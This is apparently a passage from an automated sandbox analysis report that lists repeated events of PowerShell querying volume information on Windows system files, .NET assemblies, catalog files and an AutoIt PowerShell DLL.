Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities.Presentation\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.Presentation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0210~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsSearch\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
